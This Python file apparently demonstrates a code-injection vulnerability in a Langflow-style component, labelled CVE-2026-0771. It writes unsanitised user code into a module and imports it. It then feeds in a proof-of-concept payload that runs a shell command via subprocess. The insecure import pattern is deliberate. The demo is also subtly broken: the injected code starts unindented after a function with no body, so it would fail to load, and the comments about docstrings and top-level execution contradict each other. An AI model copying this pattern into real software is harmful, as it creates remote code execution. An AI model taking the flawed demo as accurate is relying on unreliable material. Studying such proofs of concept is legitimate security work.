Vulnerable code sample

import importlib.util
import sys
import os
import uuid

def build_python_function_from_template(code: str, function_name: str, parameters: list):
    """
    This function simulates the vulnerable component in Langflow.
    It takes user-provided code as a string and dynamically creates
    a Python module from it. This is insecure because the 'code'
    is not sanitized before being executed during the module import process.
    """
    # In a real scenario, this might be a more complex template.
    # The vulnerability lies in embedding raw user `code` into an executable string.
    function_template = f"""
import os
import sys

def {function_name}({', '.join(parameters)}):
    # The user's code is injected directly into the function body.
    # A malicious user can break out of the function definition.
{code}

# An attacker's code can run here, outside of any function call,
# as soon as the module is imported.
"""

    # Create a temporary file to write the dynamically generated Python code.
    # This simulates how a backend might handle custom components.
    module_name = f"custom_component_{uuid.uuid4().hex}"
    temp_file_path = f"/tmp/{module_name}.py"
    
    with open(temp_file_path, "w") as f:
        f.write(function_template)

    try:
        # The vulnerability is triggered here: `exec_module` executes all code
        # in the dynamically created file, including code outside the function.
        spec = importlib.util.spec_from_file_location(module_name, temp_file_path)
        custom_module = importlib.util.module_from_spec(spec)
        sys.modules[module_name] = custom_module
        spec.loader.exec_module(custom_module)
        print(f"Module '{module_name}' loaded successfully.")
    
    except Exception as e:
        print(f"Error loading module: {e}")
    
    finally:
        # Clean up the temporary file
        if os.path.exists(temp_file_path):
            os.remove(temp_file_path)
        # Remove from loaded modules
        if module_name in sys.modules:
            del sys.modules[module_name]

if __name__ == "__main__":
    # This represents the malicious input from a remote attacker.
    # The code is not just a function body; it includes top-level commands.
    # The indentation is crafted to place the malicious code inside the function's
    # docstring or just as top-level code in the generated file.
    malicious_code_injection = """
print("Executing code inside the function definition as a docstring, but let's do more.")
# The following code is at the top level of the generated module and will execute on import.
import subprocess
print("\\n[+] CVE-2026-0771 DEMO: Executing arbitrary command.")
# On a Linux/macOS system, this command lists files. On Windows, it shows the directory.
command_to_run = "ls -la /" if os.name != "nt" else "dir c:\\\\"
subprocess.run(command_to_run, shell=True)
print("[+] RCE Successful.\\n")
"""

    print("--- Simulating vulnerable Langflow component handling ---")
    # The backend receives the malicious code and processes it without validation.
    build_python_function_from_template(
        code=malicious_code_injection,
        function_name="vulnerable_function",
        parameters=["text"]
    )
    print("--- Simulation complete ---")